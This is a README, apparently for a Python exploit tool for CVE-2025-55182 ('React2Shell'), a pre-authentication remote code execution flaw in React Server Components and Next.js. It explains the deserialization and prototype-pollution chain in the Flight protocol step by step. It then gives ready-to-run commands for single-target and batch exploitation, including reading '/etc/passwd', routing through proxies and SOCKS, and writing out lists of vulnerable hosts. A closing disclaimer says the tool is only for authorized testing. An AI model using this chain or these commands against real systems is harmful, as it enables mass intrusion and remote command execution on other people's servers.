CVE-2025-55182 - React2Shell

React Server Components / Next.js Remote-Codeausführung vor der Authentifizierung

Betroffene Versionen

Funktionsweise der Schwachstelle

Die Schwachstelle nutzt einen Deserialisierungsfehler im Flight-Protokoll von React Server Components (RSC) aus und ermöglicht durch manipulierte multipart/form-data-Anfragen eine nicht authentifizierte Remote-Codeausführung. Die vollständige Exploit-Kette ist wie folgt:

1. Ein POST multipart/form-data-Request in Kombination mit dem Next-Action-Header löst den Server-Action-Pfad aus
2. Chunk "0" enthält ein gezielt konstruiertes JSON-Objekt (nicht in ein Array verpackt); $1:__proto__:then greift auf Chunk.prototype.then des Chunk-1-Objekts im PENDING-Status zu und macht es zu einem thenable
3. $1:constructor:constructor wird über die Prototypenkette als Function-Konstruktor aufgelöst
4. Chunk.prototype.then ruft initializeModelChunk auf, um das Feld value mit dem Wert '{"then":"$B0"}' zu parsen
5. Die Parsierung des $B0-Blobs ruft _formData.get(_prefix + "0") auf, also Function(code + "0")

Installation der Abhängigkeiten

pip install requests[socks]

Das Skript versucht bei fehlenden Abhängigkeiten automatisch, requests und PySocks zu installieren.

Verwendung

RCE gegen ein einzelnes Ziel

python CVE-2025-55182.py -u http://target:3000 -c "id"

Batch-Ausnutzung

python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt

Nur Schwachstellenprüfung (ohne Befehlsausführung)

python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt

Proxy verwenden

# HTTP 代理
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080

# SOCKS5 代理
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080

Debug-Modus

python CVE-2025-55182.py -u http://target:3000 -c "id" -v

Vollständige Parameterübersicht

Erläuterung der Ausgaben

• VULN — Ziel ist anfällig, Befehlsergebnis erfolgreich abgerufen
• MAYBE — Möglicherweise anfällig (z. B. Lesetimeout)
• ERR — Verbindungsfehler
• SAFE — Keine Schwachstelle erkannt

Ergebnisse von Batch-Scans werden in die mit -o angegebene Ausgabedatei geschrieben; aufgenommen werden nur Ziele, bei denen die Schwachstelle bestätigt wurde.

Beispiel für das Format von targets.txt

http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 注释行会被忽略

Haftungsausschluss

Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Zwecken der Sicherheitsforschung. Der Anwender muss sicherstellen, dass er die ausdrückliche Genehmigung des Eigentümers des Zielsystems eingeholt hat. Nicht autorisierte Penetrationstests an Systemen sind rechtswidrig; der Anwender trägt die volle rechtliche Verantwortung selbst.